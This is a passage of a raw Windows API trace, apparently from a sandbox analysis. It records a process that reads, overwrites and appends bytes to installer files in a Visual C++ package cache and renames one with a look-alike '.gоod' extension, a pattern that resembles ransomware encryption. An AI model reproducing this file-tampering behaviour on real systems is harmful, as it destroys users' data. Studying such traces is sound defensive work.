GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64", nBufferLength=0x105, lpBuffer=0x1f59c640, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64", lpFilePart=0x0) returned 0x6e [0088.638] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\*", lpFindFileData=0x1f59c8c0 | out: lpFindFileData=0x1f59c8c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd414b4b9, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f7778e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd417172a, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec51de0 [0088.638] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f59c880 | out: lpFindFileData=0x1f59c880*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd414b4b9, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f7778e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd417172a, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.638] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f59c880 | out: lpFindFileData=0x1f59c880*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x898d2e00, ftCreationTime.dwHighDateTime=0x1cf3e15, ftLastAccessTime.dwLowDateTime=0x898d2e00, ftLastAccessTime.dwHighDateTime=0x1cf3e15, ftLastWriteTime.dwLowDateTime=0x898d2e00, ftLastWriteTime.dwHighDateTime=0x1cf3e15, nFileSizeHigh=0x0, nFileSizeLow=0xfc90a, dwReserved0=0x0, dwReserved1=0x0, cFileName="cab1.cab", cAlternateFileName="")) returned 1 [0088.638] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f59c880 | out: lpFindFileData=0x1f59c880*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x885c0100, ftCreationTime.dwHighDateTime=0x1cf3e15, ftLastAccessTime.dwLowDateTime=0x885c0100, ftLastAccessTime.dwHighDateTime=0x1cf3e15, ftLastWriteTime.dwLowDateTime=0x885c0100, ftLastWriteTime.dwHighDateTime=0x1cf3e15, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeMinimum_x64.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 1 [0088.638] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f59c880 | out: lpFindFileData=0x1f59c880*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0088.639] FindClose (in: hFindFile=0x1ec51de0 | out: hFindFile=0x1ec51de0) returned 1 [0088.639] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59cae0) returned 1 [0088.639] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59caa0) returned 1 [0088.639] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59cba0) returned 1 [0088.639] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64", nBufferLength=0x105, lpBuffer=0x1f59c640, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64", lpFilePart=0x0) returned 0x6e [0088.639] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\*", lpFindFileData=0x1f59c8c0 | out: lpFindFileData=0x1f59c8c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd414b4b9, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f7778e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd417172a, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec51de0 [0088.639] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f59c880 | out: lpFindFileData=0x1f59c880*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd414b4b9, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f7778e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd417172a, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.639] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f59c880 | out: lpFindFileData=0x1f59c880*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x898d2e00, ftCreationTime.dwHighDateTime=0x1cf3e15, ftLastAccessTime.dwLowDateTime=0x898d2e00, ftLastAccessTime.dwHighDateTime=0x1cf3e15, ftLastWriteTime.dwLowDateTime=0x898d2e00, ftLastWriteTime.dwHighDateTime=0x1cf3e15, nFileSizeHigh=0x0, nFileSizeLow=0xfc90a, dwReserved0=0x0, dwReserved1=0x0, cFileName="cab1.cab", cAlternateFileName="")) returned 1 [0088.639] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f59c880 | out: lpFindFileData=0x1f59c880*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x885c0100, ftCreationTime.dwHighDateTime=0x1cf3e15, ftLastAccessTime.dwLowDateTime=0x885c0100, ftLastAccessTime.dwHighDateTime=0x1cf3e15, ftLastWriteTime.dwLowDateTime=0x885c0100, ftLastWriteTime.dwHighDateTime=0x1cf3e15, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeMinimum_x64.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 1 [0088.639] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f59c880 | out: lpFindFileData=0x1f59c880*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x885c0100, ftCreationTime.dwHighDateTime=0x1cf3e15, ftLastAccessTime.dwLowDateTime=0x885c0100, ftLastAccessTime.dwHighDateTime=0x1cf3e15, ftLastWriteTime.dwLowDateTime=0x885c0100, ftLastWriteTime.dwHighDateTime=0x1cf3e15, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeMinimum_x64.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 0 [0088.640] FindClose (in: hFindFile=0x1ec51de0 | out: hFindFile=0x1ec51de0) returned 1 [0088.640] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59cae0) returned 1 [0088.640] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59caa0) returned 1 [0088.640] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\cab1.cab", nBufferLength=0x105, lpBuffer=0x1f59c480, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\cab1.cab", lpFilePart=0x0) returned 0x77 [0088.640] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59c950) returned 1 [0088.640] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\cab1.cab" (normalized: "c:\\programdata\\package cache\\{a749d8e6-b613-3be3-8f5f-045c84eba29b}v12.0.21005\\packages\\vcruntimeminimum_amd64\\cab1.cab"), fInfoLevelId=0x0, lpFileInformation=0x3319920 | out: lpFileInformation=0x3319920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x898d2e00, ftCreationTime.dwHighDateTime=0x1cf3e15, ftLastAccessTime.dwLowDateTime=0x898d2e00, ftLastAccessTime.dwHighDateTime=0x1cf3e15, ftLastWriteTime.dwLowDateTime=0x898d2e00, ftLastWriteTime.dwHighDateTime=0x1cf3e15, nFileSizeHigh=0x0, nFileSizeLow=0xfc90a)) returned 1 [0088.640] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59c910) returned 1 [0088.640] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\cab1.cab", nBufferLength=0x105, lpBuffer=0x1f59c330, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\cab1.cab", lpFilePart=0x0) returned 0x77 [0088.640] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59c850) returned 1 [0088.640] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\cab1.cab" (normalized: "c:\\programdata\\package cache\\{a749d8e6-b613-3be3-8f5f-045c84eba29b}v12.0.21005\\packages\\vcruntimeminimum_amd64\\cab1.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x778 [0088.640] GetFileType (hFile=0x778) returned 0x1 [0088.640] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59c7c0) returned 1 [0088.640] GetFileType (hFile=0x778) returned 0x1 [0088.640] SetFilePointer (in: hFile=0x778, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f59c9a8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f59c9a8*=0) returned 0x1000 [0088.641] ReadFile (in: hFile=0x778, lpBuffer=0x3319de8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59c978, lpOverlapped=0x0 | out: lpBuffer=0x3319de8*, lpNumberOfBytesRead=0x1f59c978*=0x1000, lpOverlapped=0x0) returned 1 [0088.642] CloseHandle (hObject=0x778) returned 1 [0088.642] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\cab1.cab", nBufferLength=0x105, lpBuffer=0x1f59c330, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\cab1.cab", lpFilePart=0x0) returned 0x77 [0088.642] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59c850) returned 1 [0088.642] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\cab1.cab" (normalized: "c:\\programdata\\package cache\\{a749d8e6-b613-3be3-8f5f-045c84eba29b}v12.0.21005\\packages\\vcruntimeminimum_amd64\\cab1.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x778 [0088.642] GetFileType (hFile=0x778) returned 0x1 [0088.642] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59c7c0) returned 1 [0088.642] GetFileType (hFile=0x778) returned 0x1 [0088.642] SetFilePointer (in: hFile=0x778, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f59c9a8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f59c9a8*=0) returned 0xfc90a [0088.642] WriteFile (in: hFile=0x778, lpBuffer=0x331b278*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f59c898, lpOverlapped=0x0 | out: lpBuffer=0x331b278*, lpNumberOfBytesWritten=0x1f59c898*=0x10, lpOverlapped=0x0) returned 1 [0088.644] CloseHandle (hObject=0x778) returned 1 [0088.644] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\cab1.cab", nBufferLength=0x105, lpBuffer=0x1f59c330, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\cab1.cab", lpFilePart=0x0) returned 0x77 [0088.644] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59c850) returned 1 [0088.644] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\cab1.cab" (normalized: "c:\\programdata\\package cache\\{a749d8e6-b613-3be3-8f5f-045c84eba29b}v12.0.21005\\packages\\vcruntimeminimum_amd64\\cab1.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x778 [0088.644] GetFileType (hFile=0x778) returned 0x1 [0088.644] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59c7c0) returned 1 [0088.644] GetFileType (hFile=0x778) returned 0x1 [0088.645] ReadFile (in: hFile=0x778, lpBuffer=0x331d9c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59c928, lpOverlapped=0x0 | out: lpBuffer=0x331d9c8*, lpNumberOfBytesRead=0x1f59c928*=0x1000, lpOverlapped=0x0) returned 1 [0089.002] CloseHandle (hObject=0x778) returned 1 [0089.002] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\cab1.cab", nBufferLength=0x105, lpBuffer=0x1f59c330, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\cab1.cab", lpFilePart=0x0) returned 0x77 [0089.002] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59c850) returned 1 [0089.003] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\cab1.cab" (normalized: "c:\\programdata\\package cache\\{a749d8e6-b613-3be3-8f5f-045c84eba29b}v12.0.21005\\packages\\vcruntimeminimum_amd64\\cab1.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x778 [0089.003] GetFileType (hFile=0x778) returned 0x1 [0089.003] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59c7c0) returned 1 [0089.003] GetFileType (hFile=0x778) returned 0x1 [0089.003] WriteFile (in: hFile=0x778, lpBuffer=0x32673a8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f59c9d8, lpOverlapped=0x0 | out: lpBuffer=0x32673a8*, lpNumberOfBytesWritten=0x1f59c9d8*=0x1010, lpOverlapped=0x0) returned 1 [0089.003] CloseHandle (hObject=0x778) returned 1 [0089.003] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\cab1.cab", nBufferLength=0x105, lpBuffer=0x1f59c480, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\cab1.cab", lpFilePart=0x0) returned 0x77 [0089.003] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\cab1.cab.gоod", nBufferLength=0x105, lpBuffer=0x1f59c480, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\cab1.cab.gоod", lpFilePart=0x0) returned 0x7c [0089.003] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59c910) returned 1 [0089.003] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\cab1.cab" (normalized: "c:\\programdata\\package cache\\{a749d8e6-b613-3be3-8f5f-045c84eba29b}v12.0.21005\\packages\\vcruntimeminimum_amd64\\cab1.cab"), fInfoLevelId=0x0, lpFileInformation=0x1f59c9f0 | out: lpFileInformation=0x1f59c9f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x898d2e00, ftCreationTime.dwHighDateTime=0x1cf3e15, ftLastAccessTime.dwLowDateTime=0x898d2e00, ftLastAccessTime.dwHighDateTime=0x1cf3e15, ftLastWriteTime.dwLowDateTime=0x31444a0f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xfc91a)) returned 1 [0089.003] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59c8d0) returned 1 [0089.004] MoveFileW (lpExistingFileName="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\cab1.cab" (normalized: "c:\\programdata\\package cache\\{a749d8e6-b613-3be3-8f5f-045c84eba29b}v12.0.21005\\packages\\vcruntimeminimum_amd64\\cab1.cab"), lpNewFileName="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\cab1.cab.gоod" (normalized: "c:\\programdata\\package cache\\{a749d8e6-b613-3be3-8f5f-045c84eba29b}v12.0.21005\\packages\\vcruntimeminimum_amd64\\cab1.cab.gоod")) returned 1 [0089.012] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi", nBufferLength=0x105, lpBuffer=0x1f59c480, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi", lpFilePart=0x0) returned 0x88 [0089.012] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59c950) returned 1 [0089.012] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi" (normalized: "c:\\programdata\\package cache\\{a749d8e6-b613-3be3-8f5f-045c84eba29b}v12.0.21005\\packages\\vcruntimeminimum_amd64\\vc_runtimeminimum_x64.msi"), fInfoLevelId=0x0, lpFileInformation=0x3464740 | out: lpFileInformation=0x3464740*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x885c0100, ftCreationTime.dwHighDateTime=0x1cf3e15, ftLastAccessTime.dwLowDateTime=0x885c0100, ftLastAccessTime.dwHighDateTime=0x1cf3e15, ftLastWriteTime.dwLowDateTime=0x885c0100, ftLastWriteTime.dwHighDateTime=0x1cf3e15, nFileSizeHigh=0x0, nFileSizeLow=0x23000)) returned 1 [0089.013] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59c910) returned 1 [0089.013] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi", nBufferLength=0x105, lpBuffer=0x1f59c330, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi", lpFilePart=0x0) returned 0x88 [0089.013] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59c850) returned 1 [0089.013] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi" (normalized: "c:\\programdata\\package cache\\{a749d8e6-b613-3be3-8f5f-045c84eba29b}v12.0.21005\\packages\\vcruntimeminimum_amd64\\vc_runtimeminimum_x64.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x778 [0089.014] GetFileType (hFile=0x778) returned 0x1 [0089.014] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59c7c0) returned 1 [0089.014] GetFileType (hFile=0x778) returned 0x1 [0089.014] SetFilePointer (in: hFile=0x778, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f59c9a8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f59c9a8*=0) returned 0x1000 [0089.014] ReadFile (in: hFile=0x778, lpBuffer=0x3464c98, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59c978, lpOverlapped=0x0 | out: lpBuffer=0x3464c98*, lpNumberOfBytesRead=0x1f59c978*=0x1000, lpOverlapped=0x0) returned 1 [0089.188] CloseHandle (hObject=0x778) returned 1 [0089.188] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi", nBufferLength=0x105, lpBuffer=0x1f59c330, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi", lpFilePart=0x0) returned 0x88 [0089.188] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59c850) returned 1 [0089.188] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi" (normalized: "c:\\programdata\\package cache\\{a749d8e6-b613-3be3-8f5f-045c84eba29b}v12.0.21005\\packages\\vcruntimeminimum_amd64\\vc_runtimeminimum_x64.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x778 [0089.188] GetFileType (hFile=0x778) returned 0x1 [0089.189] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59c7c0) returned 1 [0089.189] GetFileType (hFile=0x778) returned 0x1 [0089.189] SetFilePointer (in: hFile=0x778, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f59c9a8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f59c9a8*=0) returned 0x23000 [0089.189] WriteFile (in: hFile=0x778, lpBuffer=0x3581c50*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f59c898, lpOverlapped=0x0 | out: lpBuffer=0x3581c50*, lpNumberOfBytesWritten=0x1f59c898*=0x10, lpOverlapped=0x0) returned 1 [0089.189] CloseHandle (hObject=0x778) returned 1 [0089.189] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi", nBufferLength=0x105, lpBuffer=0x1f59c330, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi", lpFilePart=0x0) returned 0x88 [0089.189] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59c850) returned 1 [0089.189] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi" (normalized: "c:\\programdata\\package cache\\{a749d8e6-b613-3be3-8f5f-045c84eba29b}v12.0.21005\\packages\\vcruntimeminimum_amd64\\vc_runtimeminimum_x64.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x778 [0089.189] GetFileType (hFile=0x778) returned 0x1 [0089.189] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59c7c0) returned 1 [0089.189] GetFileType (hFile=0x778) returned 0x1 [0089.189] ReadFile (in: hFile=0x778, lpBuffer=0x3583fb0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59c928, lpOverlapped=0x0 | out: lpBuffer=0x3583fb0*, lpNumberOfBytesRead=0x1f59c928*=0x1000, lpOverlapped=0x0) returned 1 [0089.852] CloseHandle (hObject=0x778) returned 1 [0089.852] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi", nBufferLength=0x105, lpBuffer=0x1f59c330, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi", lpFilePart=0x0) returned 0x88 [0089.852] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59c850) returned 1 [0089.852] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi" (normalized: "c:\\programdata\\package cache\\{a749d8e6-b613-3be3-8f5f-045c84eba29b}v12.0.21005\\packages\\vcruntimeminimum_amd64\\vc_runtimeminimum_x64.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x778 [0089.852] GetFileType (hFile=0x778) returned 0x1 [0089.852] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59c7c0) returned 1 [0089.852] GetFileType (hFile=0x778) returned 0x1 [0089.852] WriteFile (in: hFile=0x778, lpBuffer=0x329c1b8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f59c9d8, lpOverlapped=0x0 | out: lpBuffer=0x329c1b8*, lpNumberOfBytesWritten=0x1f59c9d8*=0x1010, lpOverlapped=0x0) returned 1 [0089.853] CloseHandle (hObject=0x778) returned 1 [0089.853] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package 